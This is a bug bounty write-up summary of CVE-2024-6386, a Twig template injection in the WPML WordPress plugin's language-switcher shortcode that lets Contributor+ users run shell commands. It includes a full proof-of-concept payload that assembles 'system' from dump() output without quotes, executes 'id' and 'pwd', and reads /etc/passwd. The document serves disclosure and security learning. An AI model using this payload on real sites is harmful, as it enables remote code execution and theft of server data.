# WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution (RCE) via Twig Server-Side Template Injection (SSTI)

WPML WordPress plugin renders shortcode content as Twig templates, letting Contributor+ users achieve SSTI and remote code execution despite quote encoding.

- Payout: $1,639
- Severity: critical
- Program: Wordfence
- Found by (vendor credit): Matthew Rollings
- Found by: Matthew Rollings
- Disclosed: 2024-08-21
- CVE: CVE-2024-6386
- Write-up quality: 8/10
- Original: https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/
- Library page: https://bugbountylibrary.com/r/blog%3Asec-stealthcopter-com-wpml-rce-via-twig-ssti
- Tags: area:web domain:web impact:privesc impact:rce kind:bounty platform:blog sev:critical tech:php tech:wordpress technique:source-review vuln:rce vuln:ssti

**Target:** WordPress plugin shortcode rendering (Twig template)
**Root cause:** The wpml_language_switcher shortcode callback passes user-supplied shortcode content as twig_template to the render function, which renders it as a Twig template without sanitization.
**Steps:**
1. As Contributor+, create a post containing `[wpml_language_switcher]{{ 4 * 7 }}[/wpml_language_switcher]` and preview; output shows 28 confirming SSTI.
2. Quotes are HTML-encoded, so build strings from `dump()` output: `{% set s = dump(current_language_code)|slice(0,1) %}` etc. to assemble `system`, `id`, `pwd`.
3. Execute commands via `{{[id]|map(system)|join}}`.
4. Derive hard-to-get chars like `/` from shell output: `{% set slash = [pwd]|map(system)|join|slice(0,1) %}`.
5. Read files e.g. `cat /etc/passwd` by assembling the command string from sliced chars.
**How found:** Noticed the plugin uses Twig templates for shortcode rendering and passes shortcode content as twig_template; tested `{{ 4 * 7 }}` to confirm SSTI, then worked around WordPress quote encoding by harvesting characters from `dump()` output.
**Exploitation:** A Contributor+ authenticated user submits a post with the crafted shortcode payload; when the post preview renders, Twig evaluates the template, reconstructs the `system` function name from dump output characters, and executes arbitrary shell commands on the server, yielding RCE.
**Escalation:** Once basic command execution is achieved, shell output is fed back into template slicing to obtain otherwise-unavailable characters, enabling arbitrary file reads and further commands.
**Insight:** When quote characters are filtered/encoded in a Twig SSTI, harvest needed letters from `dump()` of known variables (e.g. `current_language_code` always starts with 's' from `string(n)`) and join with `~`; use shell output like `pwd` to obtain characters hard to source from templates.

## Proof of concept (copied exactly from the original report)

**Twig SSTI shortcode payload proving RCE**

```
[wpml_language_switcher]

{# Find letters we need as we cant use any quotes #}
{% set s = dump(current_language_code)|slice(0,1) %}
{% set t = dump(current_language_code)|slice(1,1) %}
{% set r = dump(current_language_code)|slice(2,1) %}
{% set i = dump(current_language_code)|slice(3,1) %}
{% set n = dump(current_language_code)|slice(4,1) %}
{% set g = dump(current_language_code)|slice(5,1) %}
{% set a = dump()|slice(0,1) %}
{% set y = dump()|slice(4,1) %}
{% set e = dump(css_classes)|slice(36,1) %}
{% set w = dump(css_classes)|slice(12,1) %}
{% set p = dump(css_classes)|slice(13,1) %}
{% set m = dump(css_classes)|slice(14,1) %}
{% set d = dump(css_classes)|slice(35,1) %}
{% set c = dump(css_classes)|slice(25,1) %}
{% set space = dump(css_classes)|slice(45,1) %}

{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{% set pwd = p~w~d %}

We can use the output from `dump` or any other similar function to grab any letters we need to create our strings.

Once we have code basic code execution we can use that to grab any letters we may not be able to easily grab via template injection.

{% set slash = [pwd]|map(system)|join|slice(0,1) %}

{% set passwd = c~a~t~space~slash~e~t~c~slash~p~a~s~s~w~d %}

Debug: {{dump()}}

Command: {{system}} {{id}} {{pwd}}

id: {{[id]|map(system)|join}}

pwd: {{[pwd]|map(system)|join}}

passwd: {{[passwd]|map(system)|join}}

[/wpml_language_switcher]
```

**Minimal SSTI test payload 4*7**

```
[wpml_language_switcher]
{{ 4 * 7 }}
[/wpml_language_switcher]
```

**Command execution via map(system) join**

```
{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{{[id]|map(system)|join}}
```

